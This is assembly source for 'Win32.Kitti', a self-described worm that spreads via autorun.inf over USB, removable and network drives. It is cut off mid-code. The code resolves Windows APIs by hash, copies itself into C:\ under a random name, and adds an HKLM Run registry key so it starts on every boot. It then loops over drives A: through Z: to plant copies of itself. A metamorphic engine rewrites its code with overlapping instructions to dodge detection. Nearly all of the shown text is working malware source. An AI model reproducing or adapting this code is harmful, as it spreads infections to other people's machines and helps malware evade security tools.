;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Win32.Kitti ;; by SPTH ;; July 2011 ;; ;; ;; This is a worm which spreads via network/removable/USB drives. ;; ;; The special thing is its mutation engine, which takes use of ;; overlapping instructions: ;; ;; 00402000 > $ 31C0 XOR EAX,EAX ;; 00402002 . 50 PUSH EAX ;; 00402003 . 31C0 XOR EAX,EAX ;; 00402005 . 31C9 XOR ECX,ECX ;; 00402007 . 41 INC ECX ;; 00402008 . 40 INC EAX ;; ;; can be written as ;; ;; 00402000 > $ 31C0 XOR EAX,EAX ;; 00402002 . 50 PUSH EAX ;; 00402003 . 31C0 XOR EAX,EAX ;; 00402005 . 31C9 XOR ECX,ECX ;; 00402007 . 41 INC ECX ;; 00402008 . 52 PUSH EDX ;; 00402009 . 68 19204000 PUSH uxcnovgb.00402019 ;; 0040200E . 68 14204000 PUSH uxcnovgb.00402014 ;; 00402013 . BA 409090C3 MOV EDX,C3909040 ;; 00402018 . C3 RETN ;; 00402019 . 5A POP EDX ;; ;; or ;; ;; 00402000 > $ 55 PUSH EBP ;; 00402001 . 68 11204000 PUSH izyrevsb.00402011 ;; 00402006 . 68 0C204000 PUSH izyrevsb.0040200C ;; 0040200B . BD 31C090C3 MOV EBP,C390C031 ;; 00402010 . C3 RETN ;; 00402011 . 5D POP EBP ;; 00402012 . 50 PUSH EAX ;; 00402013 . 31C0 XOR EAX,EAX ;; 00402015 . 31C9 XOR ECX,ECX ;; 00402017 . 41 INC ECX ;; 00402018 . 40 INC EAX ;; ;; or ;; ;; 00402000 > $ 31C0 XOR EAX,EAX ;; 00402002 . 50 PUSH EAX ;; 00402003 . 53 PUSH EBX ;; 00402004 . 68 14204000 PUSH szencrgt.00402014 ;; 00402009 . 68 0F204000 PUSH szencrgt.0040200F ;; 0040200E . BB 31C090C3 MOV EBX,C390C031 ;; 00402013 . C3 RETN ;; 00402014 . 5B POP EBX ;; 00402015 . 31C9 XOR ECX,ECX ;; 00402017 . 57 PUSH EDI ;; 00402018 . 68 28204000 PUSH szencrgt.00402028 ;; 0040201D . 68 23204000 PUSH szencrgt.00402023 ;; 00402022 . BF 419090C3 MOV EDI,C3909041 ;; 00402027 . C3 RETN ;; 00402028 . 5F POP EDI ;; 00402029 . 40 INC EAX ;; ;; Obviously, there are a vast variety of possibilies to improve the organism. ;; However, I wrote this because I wanted to see its output and because I ;; wanted some good training for a bigger kitti in the future. :) ;; ;; ;; ;; The engine consists of: ;; - Deobfuscator: ;; undos the mutations, and restored the original form ;; ;; - Code analyser: ;; analyses the register dependency of the instructions, ... ;; ;; - Obfuscator ;; traces thru the code and 1/4 it changes one instruction ;; to a overlapped instruction; and adjusts the new jump-table ;; ;; ;; ;; This was chilled jogging, hope I can run the full marathon soon :) ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Programme\FASM\INCLUDE\win32ax.inc' .data DataStart: include 'data.inc' macro setnumber Reg*, BigNum*, SaveECX* { if BigNum<0x80 push BigNum pop Reg else xor Reg, Reg addnumber Reg, BigNum, SaveECX end if } macro addnumber Reg*, BigNum*, SaveECX* { AlreadyStarted=0 if BigNum<20 repeat BigNum inc Reg end repeat else if Reg in push eax push ecx xor eax, eax xor ecx, ecx inc ecx irp num, 0x8000'0000,0x4000'0000,0x2000'0000,0x1000'0000,0x800'0000,0x400'0000,0x200'0000,0x100'0000,0x80'0000,0x40'0000,0x20'0000,0x10'0000,0x8'0000,0x4'0000,0x2'0000,0x1'0000,0x8000,0x4000,0x2000,0x1000,0x800,0x400,0x200,0x100,0x80,0x40,0x20,0x10,0x8,0x4,0x2,0x1 \{ if AlreadyStarted=1 shl eax, cl end if if (BigNum AND num)>0 inc eax AlreadyStarted=1 end if \} mov ecx, eax pop eax add ecx, eax pop eax else if SaveECX=1 push ecx end if push Reg xor Reg, Reg xor ecx, ecx inc ecx irp num, 0x8000'0000,0x4000'0000,0x2000'0000,0x1000'0000,0x800'0000,0x400'0000,0x200'0000,0x100'0000,0x80'0000,0x40'0000,0x20'0000,0x10'0000,0x8'0000,0x4'0000,0x2'0000,0x1'0000,0x8000,0x4000,0x2000,0x1000,0x800,0x400,0x200,0x100,0x80,0x40,0x20,0x10,0x8,0x4,0x2,0x1 \{ if AlreadyStarted=1 shl Reg, cl end if if (BigNum AND num)>0 inc Reg AlreadyStarted=1 end if \} pop ecx add Reg, ecx if SaveECX=1 pop ecx end if end if end if } .code start: startcode: ; Will receive the addresses of all ; required APIs from kernel32.dll and advapi32.dll ; using a 16bit hash for each API name. The hash ; will be calculated with a simple XOR/SUB/ADD algorithm setnumber eax, NopTmp, 0 setnumber ebx, 0x90909090, 0 mov dword[eax], ebx ; write NOP Padding setnumber eax, "kern", 0 setnumber ebx, _DLLkernel32, 0 mov dword[ebx], eax setnumber eax, "el32", 0 addnumber ebx, 4, 0 mov dword[ebx], eax setnumber eax, ".dll", 0 addnumber ebx, 4, 0 mov dword[ebx], eax setnumber eax, APIMagicNumbersKernel32, 0 setnumber ebx, APICurrentMagicNum, 0 mov dword[ebx], eax setnumber eax, APINumbersKernel, 0 setnumber ebx, APICurrentNumber, 0 mov dword[ebx], eax setnumber eax, APIAddressesKernel, 0 setnumber ebx, APICurrentAddress, 0 mov dword[ebx], eax setnumber ebx, _DLLkernel32, 0 push ebx setnumber ebx, LoadLibrary, 0 stdcall dword[ebx] setnumber ebx, hDLLkernel32, 0 mov dword[ebx], eax setnumber ebx, lFindAPIsInLibrary, 0 call dword[ebx] setnumber eax, "adva", 0 setnumber ebx, _DLLadvapi32, 0 mov dword[ebx], eax setnumber eax, "pi32", 0 addnumber ebx, 4, 0 mov dword[ebx], eax setnumber eax, ".dll", 0 addnumber ebx, 4, 0 mov dword[ebx], eax setnumber ebx, APICurrentMagicNum, 0 setnumber eax, APIMagicNumbersAdvapi32, 0 mov dword[ebx], eax setnumber ebx, APICurrentNumber, 0 setnumber eax, APINumbersAdvapi, 0 mov dword[ebx], eax setnumber eax, APIAddressesAdvapi, 0 setnumber ebx, APICurrentAddress, 0 mov dword[ebx], eax setnumber eax, _DLLadvapi32, 0 push eax setnumber eax, LoadLibrary, 0 stdcall dword[eax] setnumber ebx, hDLLkernel32, 0 mov dword[ebx], eax setnumber ebx, lFindAPIsInLibrary, 0 call dword[ebx] setnumber ebx, _GetTickCount, 0 stdcall dword[ebx] setnumber ebx, RandomNumber, 0 mov dword[ebx], eax setnumber ebx, _GetCommandLineA, 0 stdcall dword[ebx] setnumber ebx, hMyFileName, 0 mov dword[ebx], eax setnumber ecx, lFileNameIsFine, 0 setnumber ebx, '"', 1 push ebx push edx mov dl, byte[eax] cmp bl, dl pop edx je Over13 jmp dword[ecx] Over13: inc eax setnumber ebx, hMyFileName, 0 mov dword[ebx], eax setnumber ecx, lFindFileNameLoop, 0 pop ebx FindFileNameLoop: inc eax push edx mov dl, byte[eax] cmp bl, dl pop edx je Over12 jmp dword[ecx] Over12: xor ebx, ebx mov byte[eax], bl FileNameIsFine: ; invoke MessageBox, 0x0, [hMyFileName], [hMyFileName], 0x0 xor esi, esi CopyFileAndRegEntryMore: setnumber ebx, 26, 0 setnumber ecx, 97, 0 push ebx setnumber ebx, lGetRandomNumber, 1 call dword[ebx] xor edx, edx setnumber ebx, RandomNumber, 1 mov eax, dword[ebx] pop ebx div ebx add edx, ecx mov eax, esi addnumber eax, RandomFileName, 0 mov byte[eax], dl inc esi setnumber ebx, lCopyFileAndRegEntryMore, 0 mov ebx, dword[ebx] setnumber eax, 8, 1 cmp esi, eax jnb Over4 jmp ebx Over4: mov ebx, esi addnumber ebx, RandomFileName, 0 setnumber eax, ".exe", 0 mov dword[ebx], eax setnumber eax, "C", 0 setnumber ebx, (SpaceForHDC+1), 0 mov byte[ebx], al setnumber eax, ":", 0 inc ebx mov byte[ebx], al setnumber eax, "\", 0 inc ebx mov byte[ebx], al push FALSE dec ebx dec ebx push ebx setnumber eax, hMyFileName, 0 push dword[eax] setnumber eax, _CopyFileA, 0 stdcall dword[eax] setnumber eax, lMutateFile, 0 call dword[eax] setnumber eax, stKey, 0 setnumber ebx, "SOFT", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "WARE", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "\Mic", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "roso", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "ft\W", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "indo", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "ws\C", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "urre", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "ntVe", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "rsio", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "n\Ru", 0 mov dword[eax], ebx addnumber eax, 0x4, 0 setnumber ebx, "n", 0 mov byte[eax], bl push 0x0 setnumber eax, hKey, 0 push eax push 0x0 setnumber eax, KEY_ALL_ACCESS, 0 push eax push REG_OPTION_NON_VOLATILE push 0x0 push 0x0 setnumber eax, stKey, 0 push eax setnumber eax, HKEY_LOCAL_MACHINE, 0 push eax setnumber eax, _RegCreateKeyExA, 0 stdcall dword[eax] push 16 setnumber eax, (SpaceForHDC+1), 0 push eax push REG_SZ push 0x0 push 0x0 setnumber eax, hKey, 0 push dword[eax] setnumber eax, _RegSetValueExA, 0 stdcall dword[eax] setnumber eax, hKey, 0 push dword[eax] setnumber eax, _RegCloseKey, 0 stdcall dword[eax] setnumber eax, "X:\a", 0 setnumber ebx, stAutorunWithDrive, 0 mov dword[ebx], eax setnumber eax, "\aut", 0 setnumber ebx, (stAutorunWithDrive+2), 0 mov dword[ebx], eax setnumber eax, "orun", 0 setnumber ebx, (stAutoruninf+3), 0 mov dword[ebx], eax setnumber eax, ".inf", 0 setnumber ebx, (stAutoruninf+7), 0 mov dword[ebx], eax setnumber eax, "[Aut", 0 setnumber ebx, stAutoRunContent, 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "orun", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, 0x530A0D5D, 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "hell", 0 ; !!!!!!! mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "Exec", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "ute=", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber edx, RandomFileName, 0 mov eax, dword[edx] ; Filename: XXXXxxxx.exe mov dword[ebx], eax addnumber edx, 4, 0 mov eax, dword[edx] ; Filename: xxxxXXXX.exe addnumber ebx, 4, 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, ".exe", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, 0x73550A0D, 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "eAut", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, "opla", 0 mov dword[ebx], eax addnumber ebx, 4, 0 setnumber eax, 0x00313D79, 0 mov dword[ebx], eax ; i like that coding style, roy g biv! :)) push 51 push 0x0 push 0x0 setnumber eax, FILE_MAP_ALL_ACCESS, 0 push eax push 0x0 push 51 push 0x0 push PAGE_READWRITE push 0x0 push 0x0 push FILE_ATTRIBUTE_HIDDEN push OPEN_ALWAYS push 0x0 push 0x0 setnumber eax, (GENERIC_READ or GENERIC_WRITE), 0 push eax setnumber eax, stAutoruninf, 0 push eax setnumber eax, _CreateFileA, 0 stdcall dword[eax] push eax setnumber ebx, hCreateFileAR, 0 mov dword[ebx], eax setnumber ebx, _CreateFileMappingA, 0 stdcall dword[ebx] push eax setnumber ebx, hCreateFileMappingAR, 0 mov dword[ebx], eax setnumber ebx, _MapViewOfFile, 0 stdcall dword[ebx] setnumber esi, stAutoRunContent, 0 xor ecx, ecx MakeAutoRunInfoMore: mov bl, byte[esi] mov byte[eax], bl inc eax inc esi inc ecx setnumber ebx, 51, 1 setnumber edi, lMakeAutoRunInfoMore, 1 mov edi, dword[edi] cmp ecx, ebx jnb Over5 jmp edi Over5: addnumber eax, (0xFFFFFFCD), 0 ; -51 setnumber ebx, hCreateFileAR, 0 push dword[ebx] setnumber ebx, hCreateFileMappingAR, 0 push dword[ebx] push eax setnumber ebx, _UnmapViewOfFile, 0 stdcall dword[ebx] setnumber ebx, _CloseHandle, 0 stdcall dword[ebx] stdcall dword[ebx] MainSpreadingLoop: setnumber eax, "A:\.", 0 setnumber ebx, (SpaceForHDC2+1), 0 mov dword[ebx], eax setnumber ebx, RandomFileName, 0 setnumber edx, RandomFileName2, 0 mov eax, dword[ebx] mov dword[edx], eax ; XXXXxxxx.exe addnumber ebx, 0x4, 0 addnumber edx, 0x4, 0 mov eax, dword[ebx] mov dword[edx], eax ; xxxxXXXX.exe addnumber ebx, 0x4, 0 addnumber edx, 0x4, 0 mov eax, dword[ebx] mov dword[edx], eax ; xxxxXXXX.exe setnumber eax, 0x003A4100, 0 ; 0x0, "A:", 0x0 setnumber ebx, SpaceForHDC2, 0 mov dword[ebx], eax STKAnotherRound: setnumber eax, (SpaceForHDC2+1), 0 push eax setnumber ebx, _GetDriveTypeA, 0 stdcall dword[ebx] xor ebx, ebx ; 0 ... No Drive ; 1 ... Drive (without autorun.inf) ; 2 ... Drive (with autorun.inf) setnumber ecx, '\', 0 setnumber edx, (SpaceForHDC2+3), 1 mov byte[edx],cl setnumber edx, 2, 0 setnumber ecx, lSTKWithAutoRun, 0 cmp al, dl jne Over6 jmp dword[ecx] Over6: inc dl setnumber ecx, lSTKWithoutAutoRun, 0 cmp al, dl jne Over7 jmp dword[ecx] Over7: inc dl setnumber ecx, lSTKWithAutoRun, 0 cmp al, dl jne Over8 jmp dword[ecx] Over8: setnumber ecx, lSTKWithAutoRun, 0 cmp al, dl jne Over9 jmp dword[ecx] Over9: setnumber eax, lSTKCreateEntriesForNextDrive, 0 jmp dword[eax] STKWithAutoRun: push FALSE setnumber eax, stAutorunWithDrive, 0 push eax setnumber eax, stAutoruninf, 0 push eax setnumber eax, _CopyFileA, 0 stdcall dword[eax] STKWithoutAutoRun: push FALSE setnumber eax, (SpaceForHDC2+1), 0 push eax setnumber eax, (SpaceForHDC+1), 0 push eax setnumber eax, _CopyFileA, 0 stdcall dword[eax] ; pushad ; invoke MessageBox, 0x0, SpaceForHDC2+1, SpaceForHDC+1, 0x0 ; popad STKCreateEntriesForNextDrive: xor eax, eax setnumber ebx, (SpaceForHDC2+1), 0 mov al, byte[ebx] setnumber ecx, lSpreadThisKittyEnd, 0 setnumber ebx, "Z", 0 cmp al, bl jne Over10 jmp dword[ecx] Over10: inc al setnumber ebx, (SpaceForHDC2+1), 0 mov byte[ebx], al ; next drive setnumber ebx, stAutorunWithDrive, 0 mov byte[ebx], al ; next drive setnumber ebx, (SpaceForHDC2+3), 0 mov byte[ebx], ah ; 0x0, "X:", 0x0 setnumber eax, lSTKAnotherRound, 0 jmp dword[eax] SpreadThisKittyEnd: setnumber eax, (1000*10), 0 push eax ; 10sec setnumber eax, _Sleep, 0 stdcall dword[eax] setnumber eax, lMainSpreadingLoop, 0 jmp dword[eax] ; ########################################################################### ; ########################################################################### ; ##### ; ##### Linear Congruent Generator (Random Number Generator) ; ##### GetRandomNumber: pushad xor edx, edx setnumber ecx, RandomNumber, 0 mov eax, dword[ecx] setnumber ebx, 1103515245, 1 mul ebx ; EDX:EAX = EDX:EAX * EBX addnumber eax, 12345, 1 mov dword[ecx], eax popad ret ; ##### ; ##### Linear Congruent Generator (Random Number Generator) ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Find addresses of APIs ; ##### FindAPIsInLibrary: ; In: eax = handle to DLL setnumber ecx, 0x3C, 0 add ecx, eax mov ebx, dword[ecx] add ebx, eax ; relative -> absolut setnumber ecx, hKernelPE, 0 mov dword[ecx], ebx setnumber ecx, 0x78, 0 add ecx, ebx mov esi, dword[ecx] add esi, eax ; relative -> absolut addnumber esi, 0x1C, 0 mov ebx, dword[esi] add ebx, eax setnumber ecx, hAddressTable, 0 mov dword[ecx], ebx addnumber esi, 0x4, 0 mov ebx, dword[esi] add ebx, eax ; relative -> absolut setnumber ecx, hNamePointerTable, 0 mov dword[ecx], ebx addnumber esi, 0x4, 0 mov ebx, dword[esi] add ebx, eax ; relative -> absolut setnumber ecx, hOrdinalTable, 0 mov dword[ecx], ebx setnumber ecx, hNamePointerTable, 0 mov esi, dword[ecx] setnumber ecx, APICurrentAddress, 0 mov edi, dword[ecx] setnumber ecx, APICurrentMagicNum, 0 mov edx, dword[ecx] setnumber ecx, 4, 0 sub esi, ecx xor ebp, ebp dec ebp xor ecx, ecx FindAPIsInLibraryGetNextAPI: pushad push esi FindAPIsInLibraryNext: pop esi inc ebp addnumber esi, 4, 1 mov ebx, dword[esi] push eax setnumber eax, hDLLkernel32, 1 add ebx, dword[eax] pop eax push ebx push ecx push edx xor eax, eax xor ecx, ecx dec ebx push esi setnumber esi, lFindAPIGiveMeTheHashMore, 1 FindAPIGiveMeTheHashMore: xor eax, ecx inc ebx mov ecx, dword[ebx] mov edx, ecx ; ecx=nooo - n ... new byte push ecx setnumber ecx, 24, 0 shr edx, cl ; edx=000n ... new byte xor ecx, ecx cmp dl, cl ; dl=n pop ecx je Over1 jmp dword[esi] Over1: pop esi sub al, byte[ebx] inc ebx add ah, byte[ebx] inc ebx xor al, byte[ebx] setnumber edx, 0xFFFF, 0 and eax, edx pop edx pop ecx pop ebx push esi setnumber esi, lFindAPIsInLibraryNext, 1 cmp eax, dword[edx] je Over2 jmp dword[esi] Over2: pop esi ; Trash away mov esi, ebp ; coutner add esi, esi ; esi*=2 setnumber ebx, hOrdinalTable, 0 add esi, dword[ebx] ; esi=Pointer to ordinal table xor ebx, ebx ; ebx=0 mov ebx, dword[esi] ; bx=Ordinal setnumber eax, 0xFFFF, 0 and ebx, eax setnumber ecx, 0x2, 0 shl ebx, cl ; ebx=Ordinal*4 setnumber eax, hAddressTable, 0 add ebx, dword[eax] ; ebx=Pointer to Address of API mov ebx, dword[ebx] setnumber eax, hDLLkernel32, 0 add ebx, dword[eax] ; relative -> absolut mov dword[edi], ebx popad inc ecx addnumber edi, 4, 1 addnumber edx, 4, 1 setnumber ebx, lFindAPIsInLibraryGetNextAPI, 1 push ebx setnumber ebx, APICurrentNumber, 1 cmp ecx, dword[ebx] pop ebx jnb Over3 jmp dword[ebx] Over3: ret ; ##### ; ##### Find addresses of APIs ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Open & Close Files ; ##### OpenRandomFileWrite: ; invoke MessageBox, 0x0, (SpaceForHDC+1), (SpaceForHDC+1), 0x0 push 0x0 setnumber eax, FILE_ATTRIBUTE_NORMAL, 0 push eax push OPEN_ALWAYS push 0x0 push 0x0 setnumber eax, (GENERIC_READ or GENERIC_WRITE), 0 push eax setnumber eax, (SpaceForHDC+1), 0 push eax setnumber eax, _CreateFileA, 0 stdcall dword[eax] setnumber ebx, hCreateFileRndFile, 0 mov dword[ebx], eax setnumber eax, dFileSize, 0 push eax setnumber eax, hCreateFileRndFile, 0 push dword[eax] setnumber eax, _GetFileSize, 0 stdcall dword[eax] setnumber ebx, dFileSize, 0 mov dword[ebx], eax push 0x0 setnumber eax, dFileSize, 0 push dword[eax] push 0x0 push PAGE_READWRITE push 0x0 setnumber eax, hCreateFileRndFile, 0 push dword[eax] setnumber eax, _CreateFileMappingA, 0 stdcall dword[eax] setnumber ebx, hCreateMapRndFile, 0 mov dword[ebx], eax setnumber eax, dFileSize, 0 push dword[eax] push 0x0 push 0x0 push FILE_MAP_WRITE setnumber eax, hCreateMapRndFile, 0 push dword[eax] setnumber eax, _MapViewOfFile, 0 stdcall dword[eax] setnumber ebx, hMapViewRndFile, 0 mov dword[ebx], eax push eax addnumber eax, CodeStartInFile, 0 setnumber ebx, WormCodeStart, 0 mov dword[ebx], eax pop eax addnumber eax, DataStartInFile, 0 setnumber ebx, WormDataStart, 0 mov dword[ebx], eax ret CloseRandomFile: setnumber eax, hMapViewRndFile, 0 push dword[eax] setnumber ebx, _UnmapViewOfFile, 0 stdcall dword[ebx] setnumber eax, hCreateMapRndFile,0 setnumber ebx, _CloseHandle, 0 push dword[eax] stdcall dword[ebx] setnumber eax, hCreateFileRndFile,0 setnumber ebx, _CloseHandle, 0 push dword[eax] stdcall dword[ebx] ret ; ##### ; ##### Open & Close Files ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Mutate File :))) ; ##### MutateFile: push PAGE_EXECUTE_READWRITE setnumber eax, 0x1000, 0 push eax setnumber eax, 0x1'0000,0 push eax push 0 setnumber eax, _VirtualAlloc, 0 stdcall dword[eax] setnumber ebx, VA_BlankCode, 0 mov dword[ebx], eax push PAGE_EXECUTE_READWRITE setnumber eax, 0x1000, 0 push eax setnumber eax, 0x1'0000,0 push eax push 0 setnumber eax, _VirtualAlloc, 0 stdcall dword[eax] setnumber ebx, VA_CodeSize, 0 mov dword[ebx], eax push PAGE_EXECUTE_READWRITE setnumber eax, 0x1000, 0 push eax setnumber eax, 0x1'0000,0 push eax push 0 setnumber eax, _VirtualAlloc, 0 stdcall dword[eax] setnumber ebx, VA_Registers, 0 mov dword[ebx], eax push PAGE_EXECUTE_READWRITE setnumber eax, 0x1000, 0 push eax setnumber eax, 0x1'0000,0 push eax push 0 setnumber eax, _VirtualAlloc, 0 stdcall dword[eax] setnumber ebx, InstrRestriction, 0 mov dword[ebx], eax setnumber eax, lOpenRandomFileWrite, 0 call dword[eax] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Deobfuscator ;;; xor ecx, ecx setnumber esi, WormCodeStart, 1 mov esi, dword[esi] setnumber edi, VA_BlankCode, 1 mov edi, dword[edi] ; EBX=size of instruction DeobfuscateMore: setnumber eax, lDeobfuscate2Byte, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 1111'1101b cmp al, 0011'1001b ; cmp Reg32, Reg32 || cmp Reg32, dword[Reg32] jne OverDObf1 jmp ebp OverDObf1: mov al, byte[esi] and al, 1111'1011b cmp al, 0011'1000b ; cmp Reg8, Reg8 || cmp al, imm jne OverDObfF1 jmp ebp OverDObfF1: mov al, byte[esi] and al, 1100'0111b cmp al, 1 ; op Reg32,Reg32 jne OverDObf2 jmp ebp OverDObf2: mov al, byte[esi] and al, 1111'1100b cmp al, 1000'1000b ; mov Reg32, Reg32 || mov dword[Reg32], Reg32 || mov Reg32, dword[Reg32] || mov Reg8, byte[Reg32] || mov byte[Reg32], Reg8 jne OverDObf3 jmp ebp OverDObf3: mov al, byte[esi] and al, 1111'1110b cmp al, 0000'0010b ; add Reg32, dword[Reg32] || add Reg8, byte[Reg32] jne OverDObf4 jmp ebp OverDObf4: mov al, byte[esi] cmp al, 0x00 ; add Reg8, byte[Reg32] jne OverDObf5 jmp ebp OverDObf5: cmp al, 0x2A ; sub Reg8, byte[Reg32] jne OverDObf6 jmp ebp OverDObf6: cmp al, 0x32 ; xor Reg8, byte[Reg32] jne OverDObf7 jmp ebp OverDObf7: cmp al, 0x8 ; or byte[Reg32], Reg8 jne OverDObf7K jmp ebp OverDObf7K: cmp al, 0xFE ; inc Reg8 || dec Reg8 jne OverDObf8 jmp ebp OverDObf8: and al, 1110'0111b cmp al, 0010'0100b ; (and|xor|sub|cmp) al, Imm jne OverDObfFF1 jmp ebp OverDObfFF1: mov al, byte[esi] cmp al, 0xD3 ; shl Reg32, cl || shr Reg32, cl jne OverDObf9 jmp ebp OverDObf9: cmp al, 0xF7 ; mul Reg32 || div Reg32 jne OverDObf10 jmp ebp OverDObf10: cmp al, 0xFF ; jmp dword[Reg32] jne OverDObf11 jmp ebp OverDObf11: cmp al, 0x6A jne OverDObf12 jmp ebp ; push NN OverDObf12: cmp al, 0xF3 jne OverDObf13 jmp ebp ; REP MOVSB OverDObf13: mov al, byte[esi] and al, 1111'1000b cmp al, 0111'0000b ; some Jxx jne OverDObf14 jmp ebp OverDObf14: setnumber eax, lDeobfuscate1Byte, 1 mov ebp, dword[eax] mov al, byte[esi] ; pushad / popad and al, 1111'1110b cmp al, 0110'0000b jne OverDObf15 jmp ebp OverDObf15: mov al, byte[esi] ; push/pop Reg32 and al, 1111'0000b cmp al, 0101'0000b jne OverDObf16 jmp ebp OverDObf16: mov al, byte[esi] cmp al, 0xC3 jne OverDObf17 jmp ebp ; retn OverDObf17: cmp al, 0xCC jne OverDObf18 jmp ebp ; int3 OverDObf18: mov al, byte[esi] ; inc/dec Reg32 and al, 1111'0000b cmp al, 0100'0000b jne OverDObf19 jmp ebp OverDObf19: setnumber eax, lDeobfuscateFoundPUSH_RET, 1 mov ebp, dword[eax] mov al, byte[esi] cmp al, 0x68 jne OverDObf20 jmp ebp OverDObf20: pushad ; invoke MessageBox, 0x0, d, d, 0x0 int3 ; 4xint3 int3 int3 int3 popad mov al, byte[esi] int3 Deobfuscate2Byte: mov al, byte[esi] mov byte[edi], al inc esi inc edi inc ecx Deobfuscate1Byte: mov al, byte[esi] mov byte[edi], al inc esi inc edi inc ecx setnumber ebx, lDeobfuscator_WroteInstr, 1 jmp dword[ebx] DeobfuscateFoundPUSH_RET: dec edi ; PUSH Reg32 away addnumber esi, 11, 1 mov al, byte[esi] mov byte[edi], al inc esi inc edi mov al, byte[esi] push eax setnumber eax, lDeobfuscateFoundPUSH_RET_FinWrite, 1 mov ebp, dword[eax] pop eax push eax inc al cmp al, 0x91 pop eax jne OverDObf21 jmp ebp OverDObf21: mov byte[edi], al inc edi DeobfuscateFoundPUSH_RET_FinWrite: addnumber esi, 5, 1 ; 1 (from before)+11+1+5=18 addnumber ecx, 17, 1 Deobfuscator_WroteInstr: push eax setnumber eax, lDeobfuscateMore, 1 mov ebp, dword[eax] setnumber eax, FileCodeSize, 1 mov ebx, dword[eax] setnumber eax, l2endcode, 1 mov eax, dword[eax] sub ebx, eax setnumber eax, lendcode, 1 mov eax, dword[eax] add ebx, eax pop eax cmp ecx, ebx jnb OverDObf22 jmp ebp OverDObf22: xor ecx, ecx DeobfuscateWriteMore: mov al, byte[esi] mov byte[edi], al inc esi inc edi inc ecx push eax setnumber eax, lDeobfuscateWriteMore, 1 mov ebp, dword[eax] setnumber ebx, (absend-endcode), 1 setnumber eax, l2endcode, 1 mov eax, dword[eax] add ebx, eax setnumber eax, lendcode, 1 mov eax, dword[eax] sub ebx, eax pop eax cmp ecx, ebx jnb OverDeObf23 jmp ebp OverDeObf23: ; setnumber eax, WormCodeStart, 0 ; mov esi, dword[eax] ; setnumber eax, VA_BlankCode, 0 ; mov edi, dword[eax] ; setnumber eax, FileCodeSize, 0 ; mov ecx, dword[eax] ; rep movsb ;;; ;;; Deobfuscator ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Code-Analyser ;;; setnumber esi, l2ConstJmpTableStart, 0 setnumber edi, WormDataStart, 0 mov edi, dword[edi] addnumber edi, (lVariableJmpTableStart-DataStart), 0 setnumber ecx, (lVariableJmpTableEnd-lVariableJmpTableStart), 1 rep movsb xor ecx, ecx ; Byte counter xor edx, edx ; integer counter AnalyseFileCode: setnumber esi, VA_BlankCode, 1 mov esi, dword[esi] add esi, ecx ; ESI=pointer to blank code xor ebx, ebx setnumber eax, WatchFlags, 1 mov bl, byte[eax] setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx mov byte[eax], bl setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, edx push ebx xor ebx, ebx mov byte[eax], bl pop ebx setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 2, 1 mov dword[eax], ebx pop ebx setnumber eax, lAnalyseGotCmpRegReg, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 1111'1101b cmp al, 0011'1001b ; cmp Reg32, Reg32 || cmp Reg32, dword[Reg32] jne OverAFC1 jmp ebp OverAFC1: setnumber eax, lAnalyseGotCmpReg8Reg8, 1 mov ebp, dword[eax] mov al, byte[esi] cmp al, 0011'1000b ; cmp Reg8, Reg8 jne OverAFCF2 jmp ebp OverAFCF2: setnumber eax, lAnalyseGotDoubleReg8Reg32, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 1111'1101b cmp al, 1000'1000b ; mov Reg8,byte[Reg32] || mov byte[Reg32],Reg8 jne OverAFCF6 jmp ebp OverAFCF6: setnumber eax, lAnalyseGotDoubleRegReg, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 1100'0111b cmp al, 1 ; op Reg32,Reg32 jne OverAFCF3 jmp ebp OverAFCF3: mov al, byte[esi] and al, 1111'1101b cmp al, 1000'1001b ; mov Reg32, Reg32 || mov dword[Reg32], Reg32 || mov Reg32, dword[Reg32] jne OverAFC3 jmp ebp OverAFC3: mov al, byte[esi] and al, 1111'1101b cmp al, 0000'0001b ; add Reg32, Reg32 || add Reg32, dword[Reg32] || add dword[Reg32], Reg32 jne OverAFC4 jmp ebp OverAFC4: setnumber eax, lAnalyseGotDoubleReg8Reg32, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 